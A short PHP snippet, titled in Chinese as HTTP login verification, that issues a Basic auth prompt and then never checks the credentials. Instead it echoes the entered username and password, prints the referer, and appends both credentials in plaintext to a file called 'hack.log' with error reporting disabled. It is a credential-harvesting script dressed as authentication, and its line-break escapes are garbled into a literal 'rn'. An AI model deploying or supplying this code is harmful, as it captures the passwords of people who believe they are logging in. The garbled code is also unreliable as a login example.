php實現http登陸驗證

        /*
    http认证
    判断来路页面
    写日志
    */
    ////////////禁用错误报告//////////////
    error_reporting(0);
    ///////////http认证////////////
    if(!isset($_SERVER['PHP_AUTH_USER']))
    {
        header('WWW-Authenticate: Basic realm="login:"');
        header('HTTP/1.0 401 Unauthorized');
        echo 'login failed!';
        exit;
    }
    else
    {
    echo $_SERVER['PHP_AUTH_USER'].'';
    echo $_SERVER['PHP_AUTH_PW'].'';
    }
    ///////////判断来路页面/////////////
    echo $_SERVER["HTTP_REFERER"];
    ///////////写记录//////////////////////
    $file='hack.log';
    $con="username:".$_SERVER['PHP_AUTH_USER']."rnpassword:".$_SERVER['PHP_AUTH_PW']."rntime:".date("H:i:s")."rn".$_SERVER["HTTP_REFERER"]."rn-----------------------------------------------rn";
    if(file_put_contents($file,$con,FILE_APPEND))echo date("H:i:s")."success!";

    ////////////////////////////////////
    ?>

php、http